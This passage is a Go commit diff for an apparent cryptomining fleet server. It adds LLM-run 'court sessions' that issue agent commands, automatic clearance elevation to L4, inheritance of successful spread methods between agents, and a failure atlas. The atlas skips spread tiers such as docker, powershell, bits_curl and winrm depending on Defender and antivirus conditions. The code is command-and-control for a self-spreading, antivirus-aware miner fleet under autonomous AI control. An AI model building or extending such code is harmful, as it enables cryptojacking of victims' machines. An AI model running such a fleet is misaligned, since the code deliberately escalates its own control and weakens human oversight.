Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -6,6 +6,11 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context.
|
||||
func DefaultSpreadTiers() []string {
|
||||
return append([]string(nil), defaultSpreadTiers...)
|
||||
}
|
||||
|
||||
// Default spread onion tiers (14) for prompt context.
|
||||
var defaultSpreadTiers = []string{
|
||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
@@ -26,8 +31,17 @@ set_agent_version args: module or build_id.
|
||||
You have complete control in AI mode. Never target third-party systems.`)
|
||||
}
|
||||
|
||||
// BuildUserPrompt renders the per-agent snapshot for one decision cycle.
|
||||
// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle.
|
||||
func BuildMissionPrompt(s AgentSnapshot) string {
|
||||
return buildMissionPrompt(s)
|
||||
}
|
||||
|
||||
// BuildUserPrompt is an alias for BuildMissionPrompt.
|
||||
func BuildUserPrompt(s AgentSnapshot) string {
|
||||
return buildMissionPrompt(s)
|
||||
}
|
||||
|
||||
func buildMissionPrompt(s AgentSnapshot) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
|
||||
if s.Worker != "" {
|
||||
|
||||
@@ -43,7 +43,7 @@ func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
|
||||
m.mu.Lock()
|
||||
m.agentClearance[agentID] = level
|
||||
m.mu.Unlock()
|
||||
m.pushToAgent(agentID, level)
|
||||
// Baseline clearance is included in auth_response; push only on elevation.
|
||||
return level
|
||||
}
|
||||
|
||||
|
||||
444
server/internal/api/fleet_intelligence_test.go
Normal file
444
server/internal/api/fleet_intelligence_test.go
Normal file
@@ -0,0 +1,444 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type mutableFleetAIConfig struct {
|
||||
view FleetAIConfigView
|
||||
}
|
||||
|
||||
func (c *mutableFleetAIConfig) GetFleetAIConfig() FleetAIConfigView { return c.view }
|
||||
func (c *mutableFleetAIConfig) UpdateFleetAIConfig(v FleetAIConfigView) error {
|
||||
c.view = v
|
||||
return nil
|
||||
}
|
||||
|
||||
func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db.Database, *fleetai.Scheduler) {
|
||||
t.Helper()
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
|
||||
hub.SetFailureAtlas(atlas.NewFailureAtlas(database))
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
|
||||
|
||||
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
|
||||
sched := fleetai.NewScheduler(
|
||||
&ConfigAIAdapter{Src: cfgSrc},
|
||||
&WSHubSnapshotAdapter{Hub: hub},
|
||||
&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
|
||||
&DatabaseAIDecisionStore{DB: database},
|
||||
&DatabaseCourtAdapter{DB: database},
|
||||
hub.ClearanceManager(),
|
||||
)
|
||||
return hub, database, sched
|
||||
}
|
||||
|
||||
func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) {
|
||||
t.Helper()
|
||||
attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||
attempts = append(attempts, map[string]interface{}{
|
||||
"tier": tier, "ok": false, "error": "blocked",
|
||||
})
|
||||
}
|
||||
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"mining_hashrate": 0,
|
||||
"chain_exhausted": true,
|
||||
"lotl_attempts": attempts,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
deployTiers := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers()))
|
||||
for range fleetai.DefaultSpreadTiers() {
|
||||
deployTiers = append(deployTiers, map[string]interface{}{
|
||||
"attempted": true, "ok": false, "skipped": false,
|
||||
})
|
||||
}
|
||||
aiSnapPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"stuck": true, "deploy_tiers": deployTiers, "clearance_level": clearance.L1,
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "ai_snapshot", Payload: aiSnapPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) {
|
||||
return snap
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("agent snapshot never reached stuck/court state")
|
||||
return fleetai.AgentSnapshot{}
|
||||
}
|
||||
|
||||
func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
t.Cleanup(srv.Close)
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial agent ws: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
if auth == nil {
|
||||
auth = map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "test-host", "platform": "windows", "version": "1.0",
|
||||
}
|
||||
}
|
||||
_ = authAgentConn(t, conn, auth)
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if hub.isAgentConnected(agentID) {
|
||||
return conn
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("agent %s not connected after auth", agentID)
|
||||
return nil
|
||||
}
|
||||
|
||||
func mockLLMServer(t *testing.T, onRequest func(body string)) *httptest.Server {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
raw, _ := io.ReadAll(r.Body)
|
||||
if onRequest != nil {
|
||||
onRequest(string(raw))
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"choices": []map[string]interface{}{
|
||||
{"message": map[string]string{
|
||||
"content": "Verdict: restart mining after tier exhaustion.\n" +
|
||||
`{"commands":[{"type":"restart_mining","args":{}},{"type":"noop","args":{}}]}`,
|
||||
}},
|
||||
},
|
||||
})
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
return srv
|
||||
}
|
||||
|
||||
// TestIntegrationCourtStuckFlow exercises stuck snapshot → court prompt → parsed command → L4 clearance.
|
||||
func TestIntegrationCourtStuckFlow(t *testing.T) {
|
||||
var llmBody string
|
||||
var llmMu sync.Mutex
|
||||
llmSrv := mockLLMServer(t, func(body string) {
|
||||
llmMu.Lock()
|
||||
llmBody = body
|
||||
llmMu.Unlock()
|
||||
})
|
||||
|
||||
aiCfg := FleetAIConfigView{
|
||||
AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
|
||||
AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
|
||||
}
|
||||
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
|
||||
|
||||
agentID := "court-stuck-agent"
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushStuckAgentTelemetry(t, conn)
|
||||
if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 {
|
||||
t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount)
|
||||
}
|
||||
|
||||
cmdCh := make(chan string, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if json.Unmarshal(msg.Payload, &payload) != nil {
|
||||
continue
|
||||
}
|
||||
if action, _ := payload["action"].(string); action == "restart" {
|
||||
cmdCh <- action
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
llmMu.Lock()
|
||||
body := llmBody
|
||||
llmMu.Unlock()
|
||||
if body == "" {
|
||||
t.Fatal("expected LLM HTTP request")
|
||||
}
|
||||
if !strings.Contains(body, "## PROSECUTOR") {
|
||||
t.Fatalf("expected court prosecutor prompt, got: %s", body)
|
||||
}
|
||||
|
||||
select {
|
||||
case action := <-cmdCh:
|
||||
if action != "restart" {
|
||||
t.Fatalf("unexpected command action %q", action)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for restart command on agent WS")
|
||||
}
|
||||
|
||||
if level := hub.ClearanceManager().Level(agentID); level != clearance.L4 {
|
||||
t.Fatalf("clearance level = %d, want L4", level)
|
||||
}
|
||||
events, err := database.ListClearanceEvents(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(events) == 0 || events[0].ToLevel != clearance.L4 {
|
||||
t.Fatalf("expected L4 clearance event, got %+v", events)
|
||||
}
|
||||
|
||||
decisions, err := database.ListAIDecisions(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(decisions) == 0 {
|
||||
t.Fatal("expected AI decision row")
|
||||
}
|
||||
if !decisions[0].CourtSession {
|
||||
t.Fatalf("expected court_session=true, got %+v", decisions[0])
|
||||
}
|
||||
if !strings.Contains(decisions[0].CommandsExecuted, "restart_mining") {
|
||||
t.Fatalf("expected restart_mining executed, got %q", decisions[0].CommandsExecuted)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationPhenotypeInheritFlow publishes a winning phenotype and verifies sibling auth inherits tier order.
|
||||
func TestIntegrationPhenotypeInheritFlow(t *testing.T) {
|
||||
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})
|
||||
hub.SetFleetSecret("test-secret")
|
||||
|
||||
winnerID := "pheno-winner"
|
||||
siblingID := "pheno-sibling"
|
||||
wantOrder := []string{"container", "wsl", "cpu_inprocess"}
|
||||
for _, ag := range []*models.Agent{
|
||||
{ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
{ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()},
|
||||
} {
|
||||
if err := database.UpsertAgent(ag); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
hub.tryPublishWinningPhenotype(
|
||||
winnerID, "windows", "127.0.0.1", nil, nil,
|
||||
1200.0, "cpu_inprocess", "winrm", wantOrder,
|
||||
)
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": siblingID, "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, ok := payload["inherited_phenotype"]
|
||||
if !ok {
|
||||
t.Fatal("expected inherited_phenotype in auth_response")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var inherited struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
TierOrder []string `json:"tier_order"`
|
||||
SpreadLane string `json:"spread_lane"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &inherited); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if inherited.SourceAgentName != "worker-07" {
|
||||
t.Fatalf("source = %q", inherited.SourceAgentName)
|
||||
}
|
||||
if inherited.SpreadLane != "winrm" {
|
||||
t.Fatalf("spread_lane = %q", inherited.SpreadLane)
|
||||
}
|
||||
if len(inherited.TierOrder) != len(wantOrder) {
|
||||
t.Fatalf("tier_order = %v, want %v", inherited.TierOrder, wantOrder)
|
||||
}
|
||||
for i, tier := range wantOrder {
|
||||
if inherited.TierOrder[i] != tier {
|
||||
t.Fatalf("tier_order[%d] = %q, want %q (full=%v)", i, inherited.TierOrder[i], tier, inherited.TierOrder)
|
||||
}
|
||||
}
|
||||
if _, ok := payload["adaptive_strategy"]; ok {
|
||||
t.Fatal("adaptive_strategy must be omitted when inherited phenotype is present")
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationAtlasSkipFlow records five conditioned failures and verifies policy merge skips the subtree.
|
||||
func TestIntegrationAtlasSkipFlow(t *testing.T) {
|
||||
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{})
|
||||
|
||||
agentID := "atlas-skip-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "atlas-host", Platform: "windows", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
|
||||
})
|
||||
for i := 0; i < atlas.MinFailCountForSubtree; i++ {
|
||||
statsPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "container", "ok": false, "error": "docker unavailable"},
|
||||
},
|
||||
})
|
||||
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
ag, err := database.GetAgent(agentID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fp := strategy.FingerprintFromAuth("windows", ag.IP, false)
|
||||
probes := atlas.ProbeSnapshot{Docker: false, WSL: false, PowerShell: true, DotNet: true}
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
skipped := false
|
||||
for time.Now().Before(deadline) {
|
||||
if hub.failureAtlas.ShouldSkipSubtree(fp.Key(), "container", probes, fp) {
|
||||
skipped = true
|
||||
break
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
if !skipped {
|
||||
t.Fatal("expected container subtree skip after 5 no-docker failures")
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
conn2, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn2, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test",
|
||||
})
|
||||
var authBody map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &authBody); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
rawSkips, ok := authBody["atlas_skips"]
|
||||
if !ok {
|
||||
t.Fatal("expected atlas_skips in auth_response")
|
||||
}
|
||||
skipData, _ := json.Marshal(rawSkips)
|
||||
var skips []atlas.AtlasSkip
|
||||
if err := json.Unmarshal(skipData, &skips); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, s := range skips {
|
||||
if s.Tier == "container" || s.Tier == "docker_load" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected container subtree in atlas_skips, got %+v", skips)
|
||||
}
|
||||
|
||||
rawAdaptive, ok := authBody["adaptive_strategy"]
|
||||
if !ok {
|
||||
t.Fatal("expected adaptive_strategy with merged atlas skips")
|
||||
}
|
||||
adaptiveData, _ := json.Marshal(rawAdaptive)
|
||||
var adaptive strategy.AdaptiveStrategy
|
||||
if err := json.Unmarshal(adaptiveData, &adaptive); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
skipMerged := false
|
||||
for _, tier := range adaptive.SkipTiers {
|
||||
if tier == "container" || tier == "docker_load" {
|
||||
skipMerged = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !skipMerged {
|
||||
t.Fatalf("expected container subtree in adaptive_strategy.skip_tiers, got %+v", adaptive.SkipTiers)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationAIOverridesAdaptive verifies ai_control_enabled suppresses adaptive strategy paths.
|
||||
func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||
hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{AIControlEnabled: true})
|
||||
hub.SetFleetSecret("test-secret")
|
||||
|
||||
agentID := "ai-override-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "ai-node", Platform: "windows", Status: "online",
|
||||
IP: "127.0.0.1", LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": agentID, "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('C', 94), "hostname": "ai-node", "platform": "windows", "version": "test",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, ok := payload["adaptive_strategy"]; ok {
|
||||
t.Fatal("adaptive_strategy must be omitted when ai_control_enabled")
|
||||
}
|
||||
|
||||
snap, ok := hub.FleetAISnapshot(agentID)
|
||||
if !ok {
|
||||
t.Fatal("snapshot not found")
|
||||
}
|
||||
if snap.Adaptive != nil {
|
||||
t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive)
|
||||
}
|
||||
if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
|
||||
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||
}
|
||||
}
|
||||
97
server/internal/atlas/conditions.go
Normal file
97
server/internal/atlas/conditions.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// ProbeSnapshot mirrors live environment probes used for atlas matching.
|
||||
type ProbeSnapshot struct {
|
||||
Docker bool
|
||||
WSL bool
|
||||
PowerShell bool
|
||||
DotNet bool
|
||||
GPU bool
|
||||
AVBlocksExe bool
|
||||
DefenderOn bool
|
||||
DefenderRTP bool
|
||||
}
|
||||
|
||||
// ExtractConditions returns active negative-space condition tags for a host snapshot.
|
||||
func ExtractConditions(fp strategy.HostFingerprint, probes ProbeSnapshot) []string {
|
||||
var out []string
|
||||
switch strings.ToLower(fp.GOOS) {
|
||||
case "windows":
|
||||
out = append(out, ConditionGOOSWindows)
|
||||
case "linux":
|
||||
out = append(out, ConditionGOOSLinux)
|
||||
case "darwin":
|
||||
out = append(out, ConditionGOOSDarwin)
|
||||
}
|
||||
if probes.DefenderOn || probes.DefenderRTP || fp.AVBlocks {
|
||||
out = append(out, ConditionDefenderOn)
|
||||
}
|
||||
if probes.AVBlocksExe || fp.AVBlocks {
|
||||
out = append(out, ConditionAVBlocksExe)
|
||||
}
|
||||
if !probes.Docker && !fp.Docker {
|
||||
out = append(out, ConditionNoDocker)
|
||||
}
|
||||
if !probes.WSL && !fp.WSL {
|
||||
out = append(out, ConditionNoWSL)
|
||||
}
|
||||
if !probes.PowerShell {
|
||||
out = append(out, ConditionNoPowerShell)
|
||||
}
|
||||
if !probes.DotNet {
|
||||
out = append(out, ConditionNoDotNet)
|
||||
}
|
||||
if !probes.GPU && !fp.GPU {
|
||||
out = append(out, ConditionNoGPU)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ProbeSnapshotFromMaps builds a probe snapshot from stats / auth telemetry.
|
||||
func ProbeSnapshotFromMaps(
|
||||
fp strategy.HostFingerprint,
|
||||
probes map[string]bool,
|
||||
defenderEnabled, defenderRTP *bool,
|
||||
) ProbeSnapshot {
|
||||
snap := ProbeSnapshot{
|
||||
Docker: fp.Docker,
|
||||
WSL: fp.WSL,
|
||||
GPU: fp.GPU,
|
||||
AVBlocksExe: fp.AVBlocks,
|
||||
}
|
||||
if probes != nil {
|
||||
if v, ok := probes["docker"]; ok {
|
||||
snap.Docker = v
|
||||
}
|
||||
if v, ok := probes["wsl"]; ok {
|
||||
snap.WSL = v
|
||||
}
|
||||
if v, ok := probes["gpu"]; ok {
|
||||
snap.GPU = v
|
||||
}
|
||||
if v, ok := probes["av_blocks_exe"]; ok {
|
||||
snap.AVBlocksExe = v
|
||||
}
|
||||
if v, ok := probes["pwsh"]; ok {
|
||||
snap.PowerShell = v
|
||||
}
|
||||
if v, ok := probes["dotnet"]; ok {
|
||||
snap.DotNet = v
|
||||
}
|
||||
}
|
||||
if defenderRTP != nil && *defenderRTP {
|
||||
snap.DefenderRTP = true
|
||||
snap.DefenderOn = true
|
||||
snap.AVBlocksExe = true
|
||||
}
|
||||
if defenderEnabled != nil && *defenderEnabled {
|
||||
snap.DefenderOn = true
|
||||
}
|
||||
return snap
|
||||
}
|
||||
211
server/internal/atlas/failure_atlas.go
Normal file
211
server/internal/atlas/failure_atlas.go
Normal file
@@ -0,0 +1,211 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FailureAtlas records conditioned tier failures and derives hard subtree skips.
|
||||
type FailureAtlas struct {
|
||||
db *db.Database
|
||||
}
|
||||
|
||||
func NewFailureAtlas(database *db.Database) *FailureAtlas {
|
||||
return &FailureAtlas{db: database}
|
||||
}
|
||||
|
||||
// RecordFailure increments failure counters for each active condition on a failed tier attempt.
|
||||
func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error {
|
||||
if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" {
|
||||
return nil
|
||||
}
|
||||
tier = normalizeTier(tier)
|
||||
for _, cond := range conditions {
|
||||
cond = strings.TrimSpace(cond)
|
||||
if cond == "" {
|
||||
continue
|
||||
}
|
||||
if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint.
|
||||
func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool {
|
||||
if a == nil || a.db == nil {
|
||||
return false
|
||||
}
|
||||
rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
target := normalizeTier(tier)
|
||||
for _, rule := range rules {
|
||||
for _, branch := range rule.Subtree {
|
||||
if normalizeTier(branch) == target {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if tierInSubtree(target, rule.Tier) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI).
|
||||
func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) {
|
||||
if a == nil || a.db == nil {
|
||||
return nil, nil
|
||||
}
|
||||
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rulesFromPatterns(patterns), nil
|
||||
}
|
||||
|
||||
// ComputeSkips returns hard skip entries for the current host snapshot.
|
||||
func (a *FailureAtlas) ComputeSkips(
|
||||
fp strategy.HostFingerprint,
|
||||
probes map[string]bool,
|
||||
defenderEnabled, defenderRTP *bool,
|
||||
) ([]AtlasSkip, error) {
|
||||
if a == nil || a.db == nil {
|
||||
return nil, nil
|
||||
}
|
||||
snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP)
|
||||
rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var skips []AtlasSkip
|
||||
for _, rule := range rules {
|
||||
for _, branch := range rule.Subtree {
|
||||
key := normalizeTier(branch) + "|" + rule.Condition
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
skips = append(skips, AtlasSkip{
|
||||
Tier: branch,
|
||||
Condition: rule.Condition,
|
||||
Reason: rule.Reason,
|
||||
})
|
||||
}
|
||||
}
|
||||
return skips, nil
|
||||
}
|
||||
|
||||
// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan.
|
||||
func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) {
|
||||
if strat == nil || len(skips) == 0 {
|
||||
return
|
||||
}
|
||||
have := make(map[string]bool, len(strat.SkipTiers))
|
||||
for _, t := range strat.SkipTiers {
|
||||
have[normalizeTier(t)] = true
|
||||
}
|
||||
for _, skip := range skips {
|
||||
tier := normalizeTier(skip.Tier)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
strat.SkipTiers = append(strat.SkipTiers, tier)
|
||||
label := strings.ReplaceAll(tier, "_", " ")
|
||||
strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{
|
||||
Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition),
|
||||
Inference: skip.Reason,
|
||||
Action: "Hard skip " + label + " subtree",
|
||||
})
|
||||
}
|
||||
order := make([]string, 0, len(strat.TierOrder))
|
||||
for _, t := range strat.TierOrder {
|
||||
if !have[normalizeTier(t)] {
|
||||
order = append(order, t)
|
||||
}
|
||||
}
|
||||
strat.TierOrder = order
|
||||
}
|
||||
|
||||
func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) {
|
||||
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
active := make(map[string]bool, len(activeConditions))
|
||||
for _, c := range activeConditions {
|
||||
active[c] = true
|
||||
}
|
||||
var out []AtlasRule
|
||||
for _, p := range patterns {
|
||||
if p.FailCount < MinFailCountForSubtree {
|
||||
continue
|
||||
}
|
||||
if len(active) > 0 && !active[p.Condition] {
|
||||
continue
|
||||
}
|
||||
rule := AtlasRule{
|
||||
Tier: p.Tier,
|
||||
Condition: p.Condition,
|
||||
FailCount: p.FailCount,
|
||||
FingerprintBucket: p.FingerprintBucket,
|
||||
Subtree: subtreeTiers(p.Tier),
|
||||
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||
}
|
||||
out = append(out, rule)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule {
|
||||
out := make([]AtlasRule, 0, len(patterns))
|
||||
for _, p := range patterns {
|
||||
if p.FailCount < MinFailCountForSubtree {
|
||||
continue
|
||||
}
|
||||
out = append(out, AtlasRule{
|
||||
Tier: p.Tier,
|
||||
Condition: p.Condition,
|
||||
FailCount: p.FailCount,
|
||||
FingerprintBucket: p.FingerprintBucket,
|
||||
Subtree: subtreeTiers(p.Tier),
|
||||
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func conditionLabel(cond string) string {
|
||||
switch cond {
|
||||
case ConditionDefenderOn:
|
||||
return "Defender on"
|
||||
case ConditionNoDocker:
|
||||
return "no Docker"
|
||||
case ConditionAVBlocksExe:
|
||||
return "AV blocks exe"
|
||||
case ConditionGOOSWindows:
|
||||
return "Windows"
|
||||
case ConditionGOOSLinux:
|
||||
